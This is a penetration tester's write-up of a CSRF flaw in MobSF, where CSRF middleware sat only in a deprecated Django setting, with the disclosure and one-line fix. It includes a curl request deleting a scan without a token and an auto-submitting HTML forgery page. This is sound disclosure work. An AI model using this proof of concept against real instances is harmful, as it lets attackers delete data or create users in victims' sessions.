A CSRF Fix That Stopped Running: CVE-2026-68923 in MobSF
Hi, I’m a Penetration Tester. My job is to intentionally make applications do things they’re not supposed to—finding flaws and exploiting them to ensure they’re secure. I specialize in Web, API, Android, and iOS security.
A defender reads a settings file and sees the controls that are declared. An attacker reads the same file and asks a quieter question: which of these declarations is actually wired into the request path, and which one is just sitting there looking reassuring?
That gap — between a control that is written down and a control that actually runs — is the whole of CVE-2026-68923.
The target
MobSF (Mobile Security Framework) is a widely used tool for static and dynamic analysis of mobile apps. It's a Django application, and like most Django apps it leans on middleware to enforce cross-cutting protections — sessions, authentication, and, critically here, CSRF.
The assumption that broke
Django used to register middleware in a tuple called MIDDLEWARE_CLASSES. Since Django 2.0 that setting has been ignored; the framework reads MIDDLEWARE instead. A project that migrated across that boundary and left a protection behind in the old tuple would look protected on a casual read — the line is right there — while the framework silently skips it.
In MobSF's mobsf/MobSF/settings.py, the active MIDDLEWARE tuple looked like this:
MIDDLEWARE = (
'mobsf.MobSF.views.api.api_middleware.RestApiAuthMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
# MISSING: 'django.middleware.csrf.CsrfViewMiddleware'
)
CsrfViewMiddleware was configured only in the deprecated MIDDLEWARE_CLASSES setting. The result: authenticated POST endpoints accepted requests without any CSRF token validation. The control was present in the codebase's history and absent from the codebase's behavior.
Walking the path
The cleanest way to prove a CSRF gap is to make the request succeed without a token. Against a locally running instance with a valid session cookie, a state-changing POST goes through on its own:
curl -s -b cookies.txt -X POST "http://127.0.0.1:8000/delete_scan/" \
-d "md5=68e76627798d62555d5287f4488a32c7&scan_type=apk"
{"deleted": "yes"}
No X-CSRFToken header, no hidden form token — the server deletes the scan anyway. That's the signature of CSRF middleware that isn't in the chain.
From there, the classic forgery delivery is a page the victim is lured into opening while logged in:
<!DOCTYPE html>
<html>
<head><title>Innocent Page</title></head>
<body>
<h1>Loading...</h1>
<form id="f" method="POST" action="http://127.0.0.1:8000/delete_scan/">
<input type="hidden" name="md5" value="PUT_REAL_MD5_HASH_HERE" />
<input type="hidden" name="scan_type" value="apk" />
</form>
<script>document.getElementById('f').submit();</script>
</body>
</html>
The victim's browser attaches their session cookie, the form auto-submits, and the action executes under their identity.
What it actually affected
Every authenticated destructive POST endpoint shared the gap:
/delete_scan//upload//download_scan//change_password//create_user//delete_user/
The precondition is honest and worth stating plainly: the attacker needs a logged-in victim to visit an attacker-controlled page. CSRF is not a bypass of authentication — it's a way to ride someone else's authenticated session. That's why this landed as Moderate (CVSS 6.5, AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N): no confidentiality loss, but integrity impact through actions the user never intended, gated on user interaction.
The fix
One line, in the setting the framework actually reads:
MIDDLEWARE = (
...
'django.middleware.csrf.CsrfViewMiddleware',
)
Fixed in MobSF 4.5.1.
The lesson
Deprecations are a security surface. When a framework stops reading a setting, it rarely shouts about it — the old config keeps sitting in the file, and a reviewer scanning for "is CSRF configured?" finds the string and moves on. The attacker's edge here wasn't a clever payload; it was refusing to trust that a declared control was a running one, and spending one curl to check.
If you maintain a Django app that has crossed a major-version boundary, grep for MIDDLEWARE_CLASSES. Anything protective still living only there is decoration.
Disclosure
- Reported by @ya3raj; published by @ajinabraham.
Advisory: GHSA-3p54-567p-2wpr · CVE-2026-68923
- Fix: PR #2627, commit
62563ca, release v4.5.1